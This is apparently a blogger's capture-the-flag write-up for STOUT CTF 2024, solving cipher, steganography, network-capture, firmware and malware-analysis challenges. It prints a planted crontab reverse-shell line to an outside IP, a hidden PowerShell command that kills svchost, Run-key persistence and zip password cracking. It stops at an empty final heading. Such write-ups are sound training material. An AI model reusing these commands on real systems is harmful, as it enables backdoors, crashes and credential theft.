Post

STOUT CTF 2024

STOUT CTF 2024

The Capture the Flag (CTF) competition is hosted by the University of Wisconsin - Stout in partnership with Universiti Kuala Lumpur (UniKL). This CTF was conducted for 5 days and was an individual event, providing participants with a challenging and engaging cybersecurity experience.

Cryptography


Based

Description
This challenge is Based.

Based.txt:
U1RPVVRDVEZ7aFM1RFRKYzEyYkR5N3NxSm9IN3FRczdkWHJFNFlzZDd9

The flag is Base64-encoded. Use any Base64 decoder to extract the flag.

Using Command:

1
2
$echo U1RPVVRDVEZ7aFM1RFRKYzEyYkR5N3NxSm9IN3FRczdkWHJFNFlzZDd9 | base64 -d
STOUTCTF{hS5DTJc12bDy7sqJoH7qQs7dXrE4Ysd7}

Using Cyberchef: crypto1

V

V.txt:
Use the Giovan alphabet provided to you ABCDEFGHIJKLMNOPQRSTUVWXYZ
Can you solve the great GIOVAN mystery?
YBCPTPZN{EaT8CK2zVexEqjdCmP6URd14xW6kNg7B}

Searching for Giovan on Google revealed it was related to the Vigenère cipher, a method of encrypting text using a series of interwoven Caesar ciphers based on a keyword. It employs a polyalphabetic substitution technique, where each letter in the plaintext is shifted by a different amount depending on the corresponding letter in the keyword, creating a more complex and secure encryption compared to simple ciphers.Reading the text its highlight the ‘GIOVAN’ then it must be the key of it. crypto2

Using Command:

1
2
$echo "YBCPTPZN{EaT8CK2zVexEqjdCmP6URd14xW6kNg7B}" | python3 -c "import string; k='GIOVAN'; c=input().strip(); print(''.join([chr((ord(c.lower()) - ord(k[i % len(k)].lower()) + 26) % 26 + 97) if c.isalpha() else c for i, c in enumerate(c)]))"
stoutctf{jag8uw2ziypqvjqweb6uex14cw6efs7b}

Using cryptii: crypto3

Jeans

Description
Have you worn some lately?

Jeans.txt:
TGATAGTGTGATTAGTCATAGGCTACGTATGCTTAGAGGGAGCTAGCGCACCGTTGCAGTCACTCGCATGAGCGTACATCAATTTGTTGCGAGTCTAGATCAATGATTAGTCGTGACACCCTCACG

The term "Jeans = Gene" suggests the challenge is DNA-related.

Use this: https://earthsciweb.org/js/bio/dna-writer/ crypto4

1
2
3
4
5
6
Translate base sequence to text
Enter Sequence: 
TGATAGTGTGATTAGTCATAGGCTACGTATGCTTAGAGGGAGCTAGCGCACCGTTGCAGTCACTCGCATGAGCGTACATCAATTTGTTGCGAGTCTAGATCAATGATTAGTCGTGACACCCTCACG

Output:
STOUTCTF.QFT8PE2RHJXRKBPHMC6OJP14CW6XHY7N.

Hidden Waveforms

Description Hidden in the waves lies a secret. Can you find it?

Listening to the audio revealed a beeping sound, identified as Morse code. However, decoding it with online tools did not provide the expected flag or hint instead show ‘NOFLAGHERE…’. Furthering my steps. I also examining metadata using exiftool, inspecting the file with binwalk, and exploring potential steganography methods, but no significant findings emerged. crypto5

Upon testing the image with steghide, the file was extracted accidentally without requiring a password, revealing the data.

1
2
3
$steghide extract -sf hidden_waveforms.wav \
$cat secrets_in_sound.txt
43 43 43 43 43 43 43 43 43 43 91 62 43 62 43 43 43 62 43 43 43 43 43 43 43 62 43 43 43 43 43 43 43 43 43 43 60 60 60 60 45 93 62 62 62 43 43 43 43 43 43 43 43 43 43 43 43 43 46 43 46 45 45 45 45 45 46 43 43 43 43 43 43 46 45 46 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 46 62 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 46 60 43 43 43 46 62 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 46 60 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 46 60 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 46 62 45 45 45 45 45 45 46 62 45 45 45 45 45 46 60 45 45 45 45 45 45 45 45 45 45 46 62 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 46 46 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 46 60 60 45 45 45 45 45 46 62 62 45 45 45 45 45 45 45 45 45 45 45 45 45 45 46 60 43 43 43 43 43 43 43 43 43 46 43 43 43 43 43 43 43 43 43 43 46 60 43 43 43 43 43 46 62 45 45 45 46 62 45 45 46 60 45 45 45 45 45 45 45 45 45 45 45 45 45 45 46 60 45 45 45 46 62 62 43 43 43 43 43 46 60 46 43 43 46 62 45 45 45 45 45 45 45 45 45 45 45 45 45 45 46 43 43 43 43 43 43 43 46 46 43 43 43 43 46 60 45 45 45 45 45 45 45 46 60 43 43 43 43 46 45 45 45 45 45 45 45 46 62 62 45 45 46 43 43 43 43 46 45 45 45 45 46 43 43 43 43 46 60 60 43 43 43 43 43 43 43 46 62 62 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 46
1
2
$cat secrets_in_sound.txt | tr ' ' '\n' | while read d; do printf "\\$(printf '%03o' $d)"; done
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>+++++++++++++.+.-----.++++++.-.-----------------.>----------------.<+++.>+++++++++++++++++++++++++++++++++++++++.<+++++++++++++++.<++++++++++++++++++++++++.>------.>-----.<----------.>--------------------..+++++++++++++++++.<<-----.>>--------------.<+++++++++.++++++++++.<+++++.>---.>--.<--------------.<---.>>+++++.<.++.>--------------.+++++++..++++.<-------.<++++.-------.>>--.++++.----.++++.<<+++++++.>>++++++++++++++++++++++

Now we encounter a new encoded. But this one I’m already familiar with it. It is called ‘BrainFuck’. Use any cipher decoder online tools.

crypto6

1
STOUTCTF{U6OvEbbs1eNX6UcG3hGIZaaeB70cgcg7}

Custom Cipher

Description Your scripting cant break my encoding! VWRXWFWI{Vr3J8NJks4Tn58PjDv3IPNc9VueGFwlu}

Initially, it seemed like the pattern resembled a Vigenère Cipher or something similar. Upon further analysis, it turned out to be ROT13, a simple substitution cipher that replaces each letter in the alphabet with the one 13 positions after it. This technique effectively rotates the alphabet by half its length, making it a straightforward yet effective method for obfuscation in certain contexts. Unlike Vigenère, which uses a keyword for encryption, ROT13 requires no key and can be easily change the rotating amount. In this case, the amount of the ROT13 was 23.

Using Command:

1
2
$echo "VWRXWFWI{Vr3J8NJks4Tn58PjDv3IPNc9VueGFwlu}" | tr 'A-Za-z' 'X-ZA-Wx-za-w'
STOUTCTF{So3G8KGhp4Qk58MgAs3FMKz9SrbDCtir}

Using Cyberchef: crypto7

Fat Finger

Description I seem to have fatfingered the file in transit… I should do more cardio!

Passwords.txt
‘DYPIYVYG}fyYV0[s-KhuDwV[OKn:Y<H:4k8CsYeFY

This question, inspired by a similar challenge undertaken by my friend (shoutout to Armeyer), involves analyzing the QWERTY keyboard and applying a shift to the left for each letter, including both lowercase and uppercase characters. For example: crypto8

1
2
3
‘D’ shift to left turns into ‘S’
‘Y’ shift to left turns into ‘T’
‘P’ shift to left turns into ‘O’

Using cachesluth: https://www.cachesleuth.com/keyboardshift.html: crypto9

1
STOUTCTF{dtTC9pa0JgySqCpIJbLTMGL3j7XaTwDT}

13RottenTeRmites

I came across the flag while consistently using Ctrl + F on CyberChef. Eventually, I stumbled upon the string STOUTCTF, likely by coincidence. Guess its out of luck by any chance.

From Base64 > Rot13 (default amount of 13) crypto10

1
2
$cat 13RottenTeRmites.txt | base64 -d | tr 'A-Za-z' 'N-ZA-Mn-za-m' | grep "STOUTCTF"
STOUTCTF{qKp1MOJMDaJUIJ5KybLrcfZOFQ3IN1j2}

Huffman

Description Trees are very pretty. I like trees!

crypto11

I was unfamiliar with Huffman encoding, so I looked it up and learned that it is a lossless data compression technique based on tree structures. So I made a script to decrypt based on the given file and decode it Huffman with node ‘1’ or ‘0’. This script implements Huffman coding for text compression and decompression. It uses a Node class to represent each character and its frequency in a binary tree. A Huffman tree is built using a priority queue (using heapq), where nodes with lower frequencies have higher priority. The generate_codes function creates a mapping of characters to binary strings based on the tree structure, assigning shorter codes to more frequent characters. The decode_huffman function reconstructs the original text from a binary string using the character-to-code mapping. This process encodes and decodes data by minimizing the average code length based on character frequencies.

crypto12

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import heapq
from collections import namedtuple

class Node:
    def __init__(self, weight, char, left=None, right=None):
        self.weight = weight
        self.char = char
        self.left = left
        self.right = right

    def __lt__(self, other):
        return self.weight < other.weight

def build_huffman_tree(frequency):
    priority_queue = []

    for char, freq in frequency.items():
        heapq.heappush(priority_queue, Node(freq, char))

    while len(priority_queue) > 1:
        left = heapq.heappop(priority_queue)
        right = heapq.heappop(priority_queue)
        merged = Node(left.weight + right.weight, None, left, right)
        heapq.heappush(priority_queue, merged)

    return priority_queue[0]

def generate_codes(node, prefix='', codebook={}):
    if node.char is not None:
        codebook[node.char] = prefix
    else:
        generate_codes(node.left, prefix + '0', codebook)
        generate_codes(node.right, prefix + '1', codebook)
    return codebook

def decode_huffman(encoded_string, codebook):
    reversed_codebook = {v: k for k, v in codebook.items()}
    decoded_string = ''
    current_code = ''

    for bit in encoded_string:
        current_code += bit
        if current_code in reversed_codebook:
            decoded_string += reversed_codebook[current_code]
            current_code = ''
    return decoded_string

frequency = {
    'co': 0.007352941176470588,
    'me': 0.007352941176470588,
    'e ': 0.01838235294117647,
    ' t': 0.01838235294117647,
    'to': 0.011029411764705883,
    'o ': 0.011029411764705883,
    #CONTINUE THE ARRAY GIVEN
}

huffman_tree = build_huffman_tree(frequency)
codebook = generate_codes(huffman_tree)

binary_string = (
    "0111011110110011111……………………"
)

decoded_text = decode_huffman(binary_string, codebook)
print(decoded_text)
1
2
$python script.py
Welcome to UW-Stout's CTF! I'm so happy you were able to decrypt this message. Was it hard? I'm not sure. I learned about this algorithm in one of my classes and thought it was cool...Anyways. Here is your flag:STOUTCTF{A0LZTvEW23NcbeKk8JyWJ8W0b6Mx7p6N}Congrats!

Nothing To See Here

Description: Seriously, what are you looking at?

crypto13

The challenge involves decoding a file that appears empty but contains hidden encoded data using whitespace characters.I recognized the encoding as Whitespace language. Used the Whitespace decode tool on dcode.fr to decode the content. The result was in Base64 format. After that, The decoded Base64 output was again encoded in Whitespace language. Reused the Whitespace decode tool on dcode.fr, which revealed the final flag.

First Decode with whitespace: crypto14

Second Decode with Base64: crypto15

Final Decode with whitespace: crypto16

1
STOUTCTF{ab6IcT8R4vNyAJNWQteBJ3Yd2VTrkVCp}

7 Bit Flow

Description Computers see images much differently than we do. Can you see the bigger picture?

Given img:

crypto17

For this challenge, I tried everything, including checking the metadata, using steghide, and running binwalk, but I couldn’t figure out what to do. Then I reread the question, which mentioned ‘7-bit’ Taking a chance, I created the script to process RGB values using 7-bit, and it worked.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from PIL import Image
import numpy as np

img = Image.open("bit_flow.jpg").convert("RGB")
width, height = img.size

pixels = np.array(img)

ch_channel = pixels[:, :, 0]

# Extract bit 7 (MSB)
bit_plane_7 = (ch_channel >> 7) & 1

text_output = []
for row in bit_plane_7:
    bits = "".join(map(str, row))
    chars = [chr(int(bits[i:i + 8], 2)) for i in range(0, len(bits), 8)]
    text_output.append("".join(chars))

for line in text_output:
    print(line)

Using Command:

1
2
$python decode.py | head -n 1
STOUTCTF{7jDcMSX5lqCCM6wxr7ijiTSUXRz0LiiU}

Using Stegsolve:

crypto18

crypto19

Forensics


Normal Image

If we cannot see anything inside the image, metadata or hidden compressed file inside the image. Try to see if zsteg any uses.

Using zsteg:

1
2
3
$ zsteg StoutxUniKL.png | head -n 2
b1,g,msb,xy         .. file: OpenPGP Secret Key
b1,rgb,lsb,xy       .. text: "STOUTCTF{1ywHGox1ZRNcAftHt1CWP9YT1PKT1inR}"

Alternative using Aperisolve : Forensics1

Iera Milpan

Description Waktu bahagia berkasih Muncul sesuatu tak ku duga Lilin selama ini bernyala Terpadam gelap gelita Sukarnya untuk melupakan Ikatan janji setia Di bawah pohon asmara Kau lafazkan Mentera cinta Retak hatiku hancur semua Diriku ini jiwa meronta Cinta yang sudah pudar Tenggelam di lautan kecewa Walau hati akan kekosongan Namun cintaku bukan mainan Biarlah aku bersendirian Untuk melupakanmu Biarkanlah aku Membawa diriku Semoga bahagia Walau ku berduka Walau patah tumbuh Hilangkan berganti Namun luka ini Sukar diubati Retak hatiku hancur semua Diriku ini jiwa meronta Cinta yang sudah pudar Tenggelam di lautan kecewa Walau hati akan kekosongan Namun cintaku bukan mainan Biarlah aku bersendirian Untuk melupakanmu oh Biarkanlah aku Membawa diriku Semoga bahagia Walau ku berduka Walau patah tumbuh Hilangkan berganti Namun luka ini Sukar diubati Biarkanlah dia Membawa dirinya Semoga bahagia Walau kau berduka Walau patah tumbuh Hilangkan berganti Namun luka ini Sukar diubati

File was actually an png not in mp3

1
2
$ file Retak_Hatiku_-_Iera_Milpan.mp3
Retak_Hatiku_-_Iera_Milpan.mp3: PNG image data, 1219 x 48, 8-bit/color RGBA, non-interlaced

Changing the extension of mp3 into png

1
$ cp Retak_Hatiku_-_Iera_Milpan.mp3 image.png

Open up the image. and you’ll get to see the flag Forensics2

1
STOUTCTF{qDtiRAwpAyR4Yg57YxzYW5p1V2dm5mwo}

RockYou

Description Don’t crack your zipper!

Use john tools to crack the password with the wordlist of Rockyou.txt. Command:

1
2
3
4
5
$ Zip2john RockYou.zip > hash
$ John –-wordlist=/usr/share/wordlists/rockyou.txt hash
$ Unzip RockYou.zip
$ Cat Flag.txt
STOUTCTF{wxxD6DH2c4yyeKhoXKvz7W8NrRUb4b1J}

The Echoes

Filter icmp with the Echo (ping) reply only with the query of : icmp.type==0

Forensics3

We can save the data Export as csv or simply use command.

Use commandline to extract Using command extracts the data information from a network capture file. It filters for specific ICMP packets (type 0), picks out certain data fields, and processes them step by step. First, uses tshark to read the file and extract the relevant data. Then, awk selects and formats parts of the data. The processed data is converted back to binary using xxd.

1
$ tshark -r TheEchos.pcap -Y "icmp.type == 0" -T fields -e data | awk 'NF {print substr($0, 1, 2)}' ORS='' | xxd -r -p 

Forensics4

Grep the flag Reading through file there is actually ‘STOUTCTF’. We can grep it for the specific text that we want.

1
2
$ tshark -r TheEchos.pcap -Y "icmp.type == 0" -T fields -e data | awk 'NF {print substr($0, 1, 2)}' ORS='' | xxd -r -p | grep -o 'STOUTCTF{[^}]*}'
STOUTCTF{fZtPEj720e1OKFrQPqouICBdgVAtD14N}

Dark Web Firmware 1

Extracting the file and running a string search yielded no results. I then checked the file headers for any clues and found one unfamiliar file. Upon investigating, I discovered it was labeled ‘filesystem.squash.’ A quick Google search revealed it to be a SquashFS filesystem, prompting further research into its structure and extraction methods. Some good material to read: https://www.mankier.com/1/unsquashfs

Forensics5

Extracting filesystem using squashfs

1
$ unsquasfs filesystem.squashfs

Forensics6

Getting the extraction we can use Regex to display all IPs.

1
$ sudo grep -orE '([0-9]{1,3}\.){3}[0-9]{1,3}' .

One look suspicious with the name of ‘kali’

1
./etc/crontabs/kali:109.23.44.78

Reading through the ./etc/crontabs/kali can see the tcp was made with the ip on reboot.

Flag: 109.23.44.78

Dark Web Firmware 2

Even though we already know its kali. To double confirm it, im trying to read the ./etc/passwd if the user was exactly exist and yes, it was exist.

Reading the /etc/crontab/kali

1
2
$ cat ./etc/crontabs/kali
@reboot (echo '* * * * * bash -i >& /dev/tcp/109.23.44.78/9989 0>&1' | crontab -)

Reading the /etc/passwd

1
2
3
4
$ cat ./etc/passwd | tail -n 3
admin:x:1000:0:admin:/var:/bin/false
guest::2000:65534:guest:/var:/bin/false
kali:x:0:0:root:/root:/bin/ash

Flag: kali

Dark Web Firmware 3

Use regex of url pattern.

1
$ grep -Er "http://[a-zA-Z0-9.-]+\.com" . | grep -v "www.tp-link.com"

The index.html will keep refresh on the tinyurl[.]com . The URL also a bit different compared to other URL.

Flag hxxp://tinyurl[.]com/notmalware [WITHOUT DEFANG]

Fairytales

Initial overview Checking the metadata using exiftool on Fairytales.pdf, we get to see two of unknown encryption was found.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ exiftool Fairytales.pdf
ExifTool Version Number         : 12.57
File Name                       : Fairytales.pdf
Directory                       : .
File Size                       : 28 kB
File Modification Date/Time     : 2024:12:20 12:40:21+09:00
File Access Date/Time           : 2024:12:24 15:11:14+09:00
File Inode Change Date/Time     : 2024:12:20 12:40:21+09:00
File Permissions                : -rwxr-xr-x
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.7
Linearized                      : No
Page Count                      : 5
Producer                        : Fairytales
Title                           : The Eternal Navigator
Author                          : Dr. Elena Markov
UUID                            : ,UImd-#t;S9KurE2dp]>B-Kl,5TsQL3@$@-BLO4&1Ee&fF_G88A53
Create Date                     : 2024:12:19 07:00:00+01:00
Keywords                        : Flag:, NGUgNjkgNjMgNjUgMjAgNzQgNzIgNzkgMmMgMjAgNjUgNzggNzAgNmMgNmYgNzIgNjUgNzIgMjEgMjAgNDIgNzUgNzQgMjAgNzQgNjggNjUgMjAgNzQgNzIgNzUgNjUgMjAgNzQgNzIgNjUgNjEgNzMgNzUgNzIgNjUgNzMgMjAgNmYgNjYgMjAgNzQgNjggNjUgMjAgNDUgNzQgNjUgNzIgNmUgNjEgNmMgMjAgNGUgNjEgNzYgNjkgNjcgNjEgNzQgNmYgNzIgMjAgNzIgNjUgNmQgNjEgNjkgNmUgMjAgNjggNjkgNjQgNjQgNjUgNmUgMmUgMjAgNGIgNjUgNjUgNzAgMjAgNzMgNjUgNjUgNmIgNjkgNmUgNjcgMmMgMjAgNjEgNmUgNjQgMjAgNzkgNmYgNzUgMjAgNmQgNjkgNjcgNjggNzQgMjAgNmEgNzUgNzMgNzQgMjAgNzUgNmUgNjMgNmYgNzYgNjUgNzIgMjAgNzQgNjggNjUgNjkgNzIgMjAgNzMgNjUgNjMgNzIgNjUgNzQgNzMgMmU=
Creator                         : Peyton Braun
Modify Date                     : 2024:12:19 07:00:00+01:00
Subject                         : Can you uncover the secrets of The Eternal Navigator

Decode BASE64 Trying to decode the Flag. It was just a rabbit hole. Then we need some way or keys to uncover the UUID gibberish cipher.

1
2
$ echo NGUgNjkgNjMgNjUgMjAgNzQgNzIgNzkgMmMgMjAgNjUgNzggNzAgNmMgNmYgNzIgNjUgNzIgMjEgMjAgNDIgNzUgNzQgMjAgNzQgNjggNjUgMjAgNzQgNzIgNzUgNjUgMjAgNzQgNzIgNjUgNjEgNzMgNzUgNzIgNjUgNzMgMjAgNmYgNjYgMjAgNzQgNjggNjUgMjAgNDUgNzQgNjUgNzIgNmUgNjEgNmMgMjAgNGUgNjEgNzYgNjkgNjcgNjEgNzQgNmYgNzIgMjAgNzIgNjUgNmQgNjEgNjkgNmUgMjAgNjggNjkgNjQgNjQgNjUgNmUgMmUgMjAgNGIgNjUgNjUgNzAgMjAgNzMgNjUgNjUgNmIgNjkgNmUgNjcgMmMgMjAgNjEgNmUgNjQgMjAgNzkgNmYgNzUgMjAgNmQgNjkgNjcgNjggNzQgMjAgNmEgNzUgNzMgNzQgMjAgNzUgNmUgNjMgNmYgNzYgNjUgNzIgMjAgNzQgNjggNjUgNjkgNzIgMjAgNzMgNjUgNjMgNzIgNjUgNzQgNzMgMmU= | base64 -d | xxd -r -p
Nice try, explorer! But the true treasures of the Eternal Navigator remain hidden. Keep seeking, and you might just uncover their secrets.

Decoding UUID Reading the PDF get some hinting about 47. While Base85 was the actually from 19’85’ hinting.

Forensics7

From Base85 > ROT47

Forensics8

1
STOUTCTF{n2ff2B98QwhoP29hSaV9tTabPTGF94Z5}

Orb of light

Description Dr. Elana Markov sat hunched over her desk, the flickering light of a small monitor casting shadows across the cluttered lab. The coordinates had come from a crumbling fragment of an old text—a discovery that many dismissed as mere legend. But Markov knew better. She had just returned from the coordinates after finding a ominous video, her breath catching as grainy, footage filled the screen. The camera, sat motionless watched an endless, icy expanse, the snow creating a dense fog in the distance she watched and watched trying to find something, anything to give her a clue of what this was, she knew something was off. As she watched the video over and over she realized there must be another part of the video, she must be missing something. She returned to the site and found a note hidden under piles of rubble with the same ancient cipher as before. Hours later, she had deciphered the beginning of the hidden message within the light. It was fragmented, incomplete: “To find the truth, follow…” She pushed on looking everywhere for anymore clues to what this might mean. After searching high and low she discovered a hidden compartment with a cryptic note, the beginning looked familiar, the same as before, but this one was complete “To find the truth, follow… wkh ruev ri oljkw, wkhb iolfnhu lq d suhglfwdeoh sdwwhuq, wkhb zloo ohdg brx wr Wkh Hwhuqdo Qdyljdwru. Wkh sdvvzrug brx vhhn lv rue5riO1jkw” With this, she knew what she needed to do.

Decoding the hint from description I received a zip file with a password and needed to find a clue. The description contained some encrypted text, which I decoded using ROT13. This revealed the password. orb5ofL1ght

Forensics9

Unzip it with the password we’re getting. After unzip it. I’m getting the .mp4 video and looks it out. Open up the video With a quick reaction and sharp eyes. I we can see some blinking on the corner left. There was morse code.

Forensics10

Decoding the morse code Decode it one by one using any video tools will help a lot.

Forensics11

1
... - --- ..- - -.-. - ..-. -.--. -. --.. --- ..--- .- .-. -.-. -... ----. ... -.- -... ..--- ....- -.- ..... -- -- . ...- -.-- ..... --. -.-- .-- .- .- .--- .--- .... --.- --. -.--.-

Forensics12

After Getting the dots. We can get final flag.

1
STOUTCTF(NZO2ARCB9SKB24K5MMEVY5GYWAAJJHQG)

Substitute Teacher

The hint referenced ‘1992’ and ‘45 Rogue’, which pointed to Base92 and Base45 encoding. The process involved: Gunzip > Base92 > Base45 > Gunzip. After following these steps, plaintext wording was revealed, allowing me to proceed with downloading and saving the file.

Forensics13

Checking the file type. It was pcap.

1
2
$ file file.txt
file.txt: pcap capture file, microsecond ts (little-endian) - version 2.4 (Ethernet, capture length 65535)

Rename the extension into pcap

1
$ cp file.txt new.pcap

HTTP

Filter: http.request.method==POST

Forensics14

Packet 19368: Right Click > Follow > HTTP Stream

Forensics15

1
2
3
4
5
6
POST /submit HTTP/1.1
Host: fakehost71.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 225

teacher=YTERTCTQ{M1KyJDS6fXaU8PHzuKjSBHrgs5gt1Uhu}3Z7hUc5kkSTFRJI3cBf5Sq1RR2qCa1qk3c5L3AWKXcqSAVviJZvuO2SOW288ODCFQn7sykroKiYiZejxz94SWSJbjz1m574OYRuH7AbGES2pXIQGh51Jqpu2SSLV20nG3ENheqZBK4R7uDV0Ar7qbO6AbosvgcUo2P1SkqgXUEV6rlq

FTP

Filter: ftp

Forensics16

Packet 28976: Right Click > Follow > Follow TCP Stream

Forensics17

Number............. 9085346217

TCP

We found the Keyword of Upper

Forensics18

1
2
$ tshark -r new.pcap -Y "tcp" -T fields -e tcp.stream -e data | grep -Pv '^\s*$' | cut -f2 | while read hex; do echo $hex | xxd -r -p | grep -Pv '[0-9]'; done
Upper WSCZMQHNUFBLIDEPJOYTRVXAKG

UDP

Now as we know the keyword Upper exist. seeing the pattern was all alphabet, im using the UDP keyword to look any alphabet only consist in the pcap of UDP.

Forensics19

1
2
$ tshark -r new.pcap -Y "udp" -T fields -e udp.stream -e data | grep -Pv '^\s*$' | cut -f2 | while read hex; do echo $hex | xxd -r -p | grep -Pv '[0-9]'; done
Lower amuphvibojrtfzwnqyeclxkdgs

Decrypting Evidence

After spending considerable time analyzing the encoded text and reviewing the description and hints, I began to understand that the process involved mapping encoded letters and numbers back to their original forms. The cipher relied on meticulous precision, where every detail—whether uppercase or lowercase—was important. For instance, the capital letter 'Y' in the encoded text corresponds to 'S' in the original mapping. Similarly, the capital 'T' remains 'T' after decoding, as observed when comparing the ciphered and standard alphabets. Made a script out of it to decode it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
upper_cipher = "WSCZMQHNUFBLIDEPJOYTRVXAKG"
lower_cipher = "amuphvibojrtfzwnqyeclxkdgs"

standard_upper = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
standard_lower = "abcdefghijklmnopqrstuvwxyz"

numeric_key = "9085346217"

encoded_text = "YTERTCTQ{M1KyJDS6fXaU8PHzuKjSBHrgs5gt1Uhu}"

def decode(encoded, upper_map, lower_map, num_map):
    result = []
    for char in encoded:
        if char in upper_map:
            index = upper_map.index(char)
            result.append(standard_upper[index])
        elif char in lower_map:
            index = lower_map.index(char)
            result.append(standard_lower[index])
        elif char in num_map:
            index = num_map.index(char)
            result.append(str(index))
        else:
            result.append(char)
    return ''.join(result)

flag = decode(encoded_text, upper_cipher, lower_cipher, numeric_key)
print(flag)
1
STOUTCTF{E8YrQNB6mWaI2PGncYjBKGkyz3yl8Iec}

Malware


Blue

PROCMON

Initial Review using PESTUDIO Upon examining the indicator, I found that the sections involved self-modifying code with UPX0-2. UPX is a file compression tool used for executable files, often to reduce file size while maintaining the ability to execute. This suggests that the file had been compressed using UPX, which could potentially be a technique used to obfuscate the file’s true content.

Malware1

Malware2

The entry point of the UPX1 compressed file was located at memory address 0x0003D2A0. This marks the starting point of the execution after UPX decompression, where the file begins its execution flow.

Malware3

UPX0: This section supports write, execute, and self-modifying properties, indicating it can modify its own code during execution. UPX1: This section allows write, execute, and self-modifying capabilities, but lacks the virtual properties seen in UPX0, limiting its self-modification scope. UPX2: This section only allows write operations, without execution capabilities, suggesting it does not run code but can modify or overwrite data in the file.

Uncompressed using UPX

Malware4

Reviewing the program using x64dbg I then proceeded to decompress the UPX file using the UPX tool with the -d parameter. After performing static analysis, I found no plaintext or interesting information. Realizing that go through to the execution could be gained from the program’s flows, I decided to conduct dynamic analysis to observe its behavior during runtime. (Using my virtual machine for execution the malware)

Malware5

While attempting to analyze the program through debugging tools, I found it overwhelmed by the large amount of assembly code, making it difficult to go through each instruction one by one. Given the time constraints of the CTF, focusing on just one question felt like a significant effort. It’s clearly that identifying the right spots to place breakpoints would take considerable time and patience. Interestingly, I can see some powershell execute on the process under the PID of ‘Blue.exe’

Analysing the flow using Process Monitor

Malware6

I used Process Monitor to observe the activity of PowerShell and track the commands it was executing to trigger a BSOD on my PC. During this, I identified some encoded text starting with 'U1RPVVRD…', which I recognized as part of a flag format for 'STOUT'. This confirmed the presence of a flag within the encoded string, which I then saved into the RegSetValue (although we could stop here since we had already obtained the flag). However, I decided to continue my investigation to further explore the findings.

Malware7

We can see to of the following, one of it was in Base64. It is a flag but I want to dig more.

IOC:

1
2
3
U1RPVVRDVEZ7b1pDZ0NLR3hjeFg4ckZPWlhCV1ozUUJrNkM4b0lWY2p9

"POWERSHELL" -COMMAND "START-PROCESS -WINDOWSTYLE HIDDEN CMD.EXE -ARGUMENTLIST \\\\\\\"/C TASKKILL.EXE /F /IM SVCHOST.EXE\\\\\\\""

Analyse with AnyRun

Uploading into Any.Run

Malware8

Verifying the program flow

Malware9

Both conhost.exe and powershell.exe were running as child processes under the parent process of the executed application, Blue.exe. I trying to check what does the Blue.exe does to execute the powershell and Registry.

Clicking on the ‘More Info’

Malware10

Clicking on the ‘More Info’ of the PID 6460 and found the registry set similar like the Process Monitor.

We can see the value was the flag stored inside the registry called sussy. This key is used to store the startup programs for the Windows operating system. It is located in the registry and contains a list of programs that are automatically executed when the system starts. In this situation the program Write and Delete the value instantly inside:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Malicious programs can also use this key to add themselves to the startup programs list, allowing them to execute without the user’s knowledge or consent. This can be a technique used by malware to maintain persistence on the infected system and evade detection

Malware11

Malware12

Unintended Solution

Uploading to Virustotal

Malware13

Going into Behaviour:

Malware14

Scroll and can see the Base64 encoded. Go decode it!

Malware15

1
STOUTCTF{oZCgCKGxcxX8rFOZXBWZ3QBk6C8oIVcj}

Miscellaneous


Grass

Description Two Words with a space in between such as “Basic Flag” NO STOUTCTF{}

Given image: Misc1

While experimenting with StegSolver, I began clicking the 'Offset' button and noticed some black-colored pixels appearing on the image. I continued clicking until I reached an offset of 171, which revealed the plaintext ‘Morse Stress’

STEPS:

1
2
3
Open up stegsolver
Click the Analyse > Stereogram Solver
Shift till the offset reach 171

Misc2

Misc3

Flag: Morse Stress

BINARY

Description Is this binary exploitation?

01010011 01010100 01001111 01010101 01010100 01000011 01010100 01000110 01111011 01000111 01011000 01000110 01010111 01000011 01011000 01010010 00110000 01100100 01000110 00110000 01110111 01001101 01001001 01111000 01011010 01101111 01110100 01110101 01011001 01110101 01100100 01110010 01001100 01010101 01010001 01100001 01001110 01001100 01010000 01011000 00110101 01111101

I observed a sequence of binary numbers consisting of ‘1’s and ‘0’s. Using a tool like CyberChef, I was able to decode the binary text into plaintext, at the text will be seen.

Misc4

1
STOUTCTF{GXFWCXR0dF0wMIxZotuYudrLUQaNLPX5}

Make Alan Proud

Description xased xlzdn snwia wfgnn rekze lytqc pgujf sfcis fiwfn sqxln qoemb mvlkn Settings as shown below:

3 Rotor Model Rotor 1: VI, Initial: A, Ring A Rotor 2: I, Initial: Q, Ring A Rotor 3: III, Initial L, Ring A Reflector: UKW B Plugboard: BQ CR DI EJ KW MT OS PX UZ GH

Without any script. I’m just directly use Enigma decode with the info given on the description.

Misc5

1
stoutctfabcdefghjiklmnopqrstuvwxyzaabbcc

Dots and Dashes

Description … - — ..- - -.-. - ..-. ….. —-. .– -…. - ..-. .- .. –… -…. …- …– -… … –. .- . ..- - ..-. - .– .. –.. –. -..- –.- .-. –.. -.- –.- ..

Its literally morse code. Pick any tools you like to decode it.

Misc6

1
STOUTCTF59W6TFAI76V3BSGAEUTFTWIZGXQRZKQI

BASEDPORT

Description Thats a lot of Based Ports!

Basedport.txt
